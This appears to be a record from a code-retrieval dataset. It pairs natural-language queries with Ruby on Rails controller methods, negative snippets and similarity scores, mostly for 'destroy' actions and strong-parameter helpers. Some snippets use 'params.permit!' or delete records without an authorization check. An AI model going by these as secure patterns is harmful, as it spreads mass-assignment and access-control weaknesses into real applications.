[ "def destroy\n answer = Answer.find(params[:answer_id])\n answer.destroy\n \n render json: {success: true}\n end", "def destroy\n @client_answer = ClientAnswer.find(params[:id])\n @client_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to client_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = current_user.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find_by_key(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answerable = @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @answerable }\n format.json { head :no_content }\n end\n end", "def destroy\n @question_answer = Question::Answer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t#@answer.destroy\n\t\t#respond_to do |format|\n\t\t#\tformat.html { redirect_to answers_url }\n\t\t#\tformat.json { head :no_content }\n\t\t#end\n\n\tend", "def destroy\n @answer.destroy\n\n head :no_content\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: 'Answer deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_with( [ :admin, @survey, @section, @question, @answer ] )\n end", "def destroy\n @reply_answer.destroy\n respond_to do |format|\n format.html { redirect_to reply_answers_url, notice: 'Reply answer was successfully destroyed.' }\n format.json { head :no_content }\n format.js { render :layout => false }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to answers_url, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @m_answer.destroy\n respond_to do |format|\n format.html { redirect_to m_question_path(@m_question) }\n format.json { head :no_content }\n end\n end", "def destroy\n @icebreaker_answer.destroy\n respond_to do |format|\n format.html { redirect_to icebreaker_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @given_answer.destroy\n respond_to do |format|\n format.html { redirect_to given_answers_url, notice: 'Given answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @responder = Responder.find(params[:id])\n @responder.destroy\n\n respond_to do |format|\n format.html { redirect_to responders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer.destroy\n\n respond_to_destroy(@answer, [@question, :answers])\n end", "def destroy\n @v1_answer.destroy\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_answer_item = SurveyAnswerItem.find(params[:id])\n @survey_answer_item.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_answer_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n answer = Answer.find params[:id]\n \n if can? :delete, answer\n answer.destroy\n render json: { status: 200 }, status: 200\n else\n render json: { status: 403 }, status: 403\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer = UserAnswer.find(params[:id])\n @user_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to user_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '回答を削除しました。' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Admin::Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @asked_to_answer.destroy\n respond_to do |format|\n format.html { redirect_to asked_to_answers_url, notice: 'Asked to answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Replie was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire = Questionnaire.find(params[:id])\n @questionnaire.destroy\n\n respond_to do |format|\n format.html { redirect_to questionnaires_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inquiry_reply.destroy\n respond_to do |format|\n format.html {redirect_to inquiry_replies_url, notice: 'Inquiry reply was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.xml { head :ok }\n end\n end", "def destroy\n @actual_answer.destroy\n respond_to do |format|\n format.html { redirect_to actual_answers_url, notice: 'Actual answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question_response = QuestionResponse.find(params[:id])\n @question_response.destroy\n\n respond_to do |format|\n format.html { redirect_to question_responses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @submitted_answer = SubmittedAnswer.find(params[:id])\n @submitted_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to submitted_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @entry_answer = EntryAnswer.find(params[:id])\n @entry_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to community_question_path(params[:community_id], params[:question_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:question_id])\n @answer = Answer.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end", "def destroy\n @fake_answer.destroy\n respond_to do |format|\n format.html { redirect_to fake_answers_url, notice: 'Fake answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @answer_localized = AnswerLocalized.find(params[:id])\n @answer_localized.destroy\n\n respond_to do |format|\n format.html { redirect_to(answer_localizeds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @answer = @question.answers.find(params[:id])\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(question_answers_url(@question)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @question_answer.destroy\n respond_to do |format|\n format.html { redirect_to question_answers_url, notice: 'Question answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_user_answer.destroy\n respond_to do |format|\n format.html { redirect_to survey_user_answers_url, notice: 'Survey user answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_answer_comment.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_answer_comments_url, notice: 'Answer comment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_answer = SurveyAnswer.find(params[:id])\n @survey_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(survey_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reply_puntuation.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply_vote = ReplyVote.find(params[:id])\n @reply_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to reply_votes_url }\n format.json { head :ok }\n end\n end", "def destroy\n @question_attempt_response = QuestionAttemptResponse.find(params[:id])\n @question_attempt_response.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @online_answer = OnlineAnswer.find(params[:id])\n @online_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to online_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @differentiator_answer = DifferentiatorAnswer.find(params[:id])\n @differentiator_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(differentiator_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @textanswer = Textanswer.find(params[:id])\n @textanswer.destroy\n\n respond_to do |format|\n format.html { redirect_to textanswers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer_tag.destroy\n respond_to do |format|\n format.html { redirect_to answer_tags_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to replies_url, notice: \"Reply was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n\n @[email protected]\n @question.update(cant_answers: @question.cant_answers - 1)\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to @question, notice: 'La respuesta fue borrada con exito' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply = Reply.find(params[:id])\n @reply.destroy\n\n respond_to do |format|\n format.html { redirect_to :controller => \"replies\" , :action => \"master\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n respond_to do |format|\n format.html { redirect_to @post, notice: 'Reply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @question = Question.find(params[:question_id])\n @answer = @question.answers.find(params[:id])\n authorize! :destroy, @answer\n @answer.destroy\n\n respond_to do |format|\n format.html { redirect_to @question }\n format.json { head :no_content }\n end\n end", "def destroy\n @possible_answer.destroy\n respond_to do |format|\n format.html { redirect_to possible_answers_url, notice: 'Possible answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @quiz_answer.destroy\n respond_to do |format|\n format.html { redirect_to quiz_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer = Answer.find(params[:id])\n @answer.create_activity :destroy, owner: @answer.user\n @answer.destroy\n\n flash.now[:notice] = 'Answer was successfully removed.'\n respond_to do |format|\n format.html { redirect_to answers_url }\n format.json { head :no_content }\n format.js { render \"answers/destroy\", :layout => false }\n end\n end", "def destroy\n @answer.destroy\n respond_to do |format|\n format.html { redirect_to models_url, notice: 'Model was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ask_answer = AskAnswer.find(params[:id])\n @ask_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to(ask_answers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @survey_response = SurveyResponse.find(params[:id])\r\n @survey_response.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to survey_responses_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n reply = Reply.find(params[:id])\n if reply.destroy\n response_data = {\n reply: reply,\n status: 'success',\n txt: ['回答を削除しました!'],\n }\n render json: response_data\n end\n end", "def destroy\n @quick_answer = QuickAnswer.find(params[:id])\n @quick_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to quick_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @selected_answer.destroy\n respond_to do |format|\n format.html { redirect_to selected_answers_url, notice: 'Selected answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer_record.destroy\n respond_to do |format|\n format.html { redirect_to answer_records_url, notice: 'Answer record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_answer.destroy\n respond_to do |format|\n format.html { redirect_to tipo_answers_url, notice: 'Tipo answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reply.destroy\n\n head :no_content\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Questionnaire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n return\n @quest.destroy\n respond_to do |format|\n format.html { redirect_to quests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n #@admin_academy_question.destroy\n a = Academy::Question.find(params[:id].split('-')[0])\n a.update(:is_deleted => true)\n dest = a.id\n type = 4 #answer_question_code\n Notification.clear_notifications(type,dest)\n a.save\n\n respond_to do |format|\n format.html { redirect_to admin_academy_questions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n puts \"**************************\"\n @question = Question.find(params[:question_id])\n @answer = Answer.find(params[:id])\n respond_to do |format|\n if [email protected]?\n format.html { redirect_to questions_url(@question), notice: \"First delete all the comments\" }\n elsif @answer.destroy\n format.html { redirect_to questions_url(@question), notice: \"Answer was successfully destroyed.\" }\n else\n format.html { redirect_to questions_url(@question), notice: \"Answer could not be destroyed.\" }\n end\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_response = SurveyResponse.find(params[:id])\n @survey_response.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_survey_responses_path(params[:survey_id]) }\n format.json { head :no_content }\n end\n end", "def destroy\n @report_question_answer = ReportQuestionAnswer.find(params[:id])\n @report_question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to report_question_answers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @rreply.destroy\n respond_to do |format|\n format.html { redirect_to rreplies_url, notice: 'Rreply was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @answer_list.destroy\n respond_to do |format|\n format.html { redirect_to answer_lists_url, notice: 'Answer list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @submitted_answer.destroy\n respond_to do |format|\n format.html { redirect_to submitted_answers_url, notice: 'Submitted answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_question_response.destroy\n respond_to do |format|\n format.html { redirect_to survey_question_responses_url, notice: 'Survey question response was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_answer.destroy\n respond_to do |format|\n format.html { redirect_to user_answers_url, notice: 'User answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pre_test_answer.destroy\n respond_to do |format|\n format.html { redirect_to pre_test_answers_url, notice: 'Pre test answer was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Тест успешно удален.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.77064997", "0.7694547", "0.76218575", "0.76218575", "0.7612169", "0.7564523", "0.75546277", "0.75546277", "0.75343424", "0.7522176", "0.74898523", "0.7467054", "0.742865", "0.74270797", "0.74086344", "0.73985296", "0.73985296", "0.73985296", "0.73985296", "0.73985296", "0.7398415", "0.7390615", "0.735494", "0.73535943", "0.7343676", "0.7326353", "0.7320324", "0.73090017", "0.73029715", "0.72727716", "0.7252625", "0.7251304", "0.724776", "0.72391653", "0.7234138", "0.72321767", "0.72321767", "0.72288585", "0.7222499", "0.72207737", "0.7214775", "0.7214775", "0.7214775", "0.7214775", "0.721161", "0.7211219", "0.7199332", "0.7198796", "0.7193138", "0.71841854", "0.7182161", "0.7180899", "0.7170997", "0.7151586", "0.71474147", "0.7132535", "0.7129051", "0.71277255", "0.71270335", "0.71185225", "0.7118273", "0.7113779", "0.7113423", "0.7113423", "0.7113423", "0.7113423", "0.7113423", "0.7112173", "0.71028954", "0.7101904", "0.70983624", "0.70959425", "0.70909804", "0.708419", "0.7078441", "0.7075196", "0.70730233", "0.7065244", "0.70489305", "0.70475644", "0.7047407", "0.70452094", "0.70429987", "0.70405996", "0.7039259", "0.70372343", "0.70348984", "0.70320797", "0.70243543", "0.70230925", "0.70218927", "0.70186037", "0.70163995", "0.70086503", "0.70073813", "0.6999834", "0.6999231", "0.6999231", "0.69813395", "0.6977784" ]
0.8105654
0
Use callbacks to share common setup or constraints between actions.
def set_answer_respondent @answer_respondent = AnswerRespondent.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def answer_respondent_params params.require(:answer_respondent).permit(:answer_id, :respondent_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n 